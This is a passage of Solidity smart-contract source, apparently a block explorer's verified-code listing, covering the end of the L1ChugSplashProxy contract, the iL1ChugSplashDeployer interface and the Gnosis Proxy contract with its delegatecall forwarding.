assembly {
newImplementation := create(0x0, add(deploycode, 0x20), mload(deploycode))
}
// Check that the code was actually deployed correctly. I'm not sure if you can ever
// actually fail this check. Should only happen if the contract creation from above runs
// out of gas but this parent execution thread does NOT run out of gas. Seems like we
// should be doing this check anyway though.
require(
_getAccountCodeHash(newImplementation) == keccak256(_code),
"L1ChugSplashProxy: code was not correctly deployed."
);
_setImplementation(newImplementation);
}
/**
* Modifies some storage slot within the proxy contract. Gives us a lot of power to perform
* upgrades in a more transparent way. Only callable by the owner.
* @param _key Storage key to modify.
* @param _value New value for the storage key.
*/
function setStorage(bytes32 _key, bytes32 _value) public proxyCallIfNotOwner {
assembly {
sstore(_key, _value)
}
}
/**
* Changes the owner of the proxy contract. Only callable by the owner.
* @param _owner New owner of the proxy contract.
*/
function setOwner(address _owner) public proxyCallIfNotOwner {
_setOwner(_owner);
}
/**
* Queries the owner of the proxy contract. Can only be called by the owner OR by making an
* eth_call and setting the "from" address to address(0).
* @return Owner address.
*/
function getOwner() public proxyCallIfNotOwner returns (address) {
return _getOwner();
}
/**
* Queries the implementation address. Can only be called by the owner OR by making an
* eth_call and setting the "from" address to address(0).
* @return Implementation address.
*/
function getImplementation() public proxyCallIfNotOwner returns (address) {
return _getImplementation();
}
/**********************
* Internal Functions *
**********************/
/**
* Sets the implementation address.
* @param _implementation New implementation address.
*/
function _setImplementation(address _implementation) internal {
assembly {
sstore(IMPLEMENTATION_KEY, _implementation)
}
}
/**
* Queries the implementation address.
* @return Implementation address.
*/
function _getImplementation() internal view returns (address) {
address implementation;
assembly {
implementation := sload(IMPLEMENTATION_KEY)
}
return implementation;
}
/**
* Changes the owner of the proxy contract.
* @param _owner New owner of the proxy contract.
*/
function _setOwner(address _owner) internal {
assembly {
sstore(OWNER_KEY, _owner)
}
}
/**
* Queries the owner of the proxy contract.
* @return Owner address.
*/
function _getOwner() internal view returns (address) {
address owner;
assembly {
owner := sload(OWNER_KEY)
}
return owner;
}
/**
* Gets the code hash for a given account.
* @param _account Address of the account to get a code hash for.
* @return Code hash for the account.
*/
function _getAccountCodeHash(address _account) internal view returns (bytes32) {
bytes32 codeHash;
assembly {
codeHash := extcodehash(_account)
}
return codeHash;
}
/**
* Performs the proxy call via a delegatecall.
*/
function _doProxyCall() internal onlyWhenNotPaused {
address implementation = _getImplementation();
require(implementation != address(0), "L1ChugSplashProxy: implementation is not set yet");
assembly {
// Copy calldata into memory at 0x0....calldatasize.
calldatacopy(0x0, 0x0, calldatasize())
// Perform the delegatecall, make sure to pass all available gas.
let success := delegatecall(gas(), implementation, 0x0, calldatasize(), 0x0, 0x0)
// Copy returndata into memory at 0x0....returndatasize. Note that this *will*
// overwrite the calldata that we just copied into memory but that doesn't really
// matter because we'll be returning in a second anyway.
returndatacopy(0x0, 0x0, returndatasize())
// Success == 0 means a revert. We'll revert too and pass the data up.
if iszero(success) {
revert(0x0, returndatasize())
}
// Otherwise we'll just return and pass the data up.
return(0x0, returndatasize())
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @title iL1ChugSplashDeployer
*/
interface iL1ChugSplashDeployer {
function isUpgrading() external view returns (bool);
}
File 7 of 7: Proxy
pragma solidity ^0.5.3;
/// @title Proxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract Proxy {
// masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal masterCopy;
/// @dev Constructor function sets address of master copy contract.
/// @param _masterCopy Master copy address.
constructor(address _masterCopy)
public
{
require(_masterCopy != address(0), "Invalid master copy address provided");
masterCopy = _masterCopy;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
function ()
external
payable
{
// solium-disable-next-line security/no-inline-assembly
assembly {
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, masterCopy)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) { revert(0, returndatasize()) }
return(0, returndatasize())
}
}
}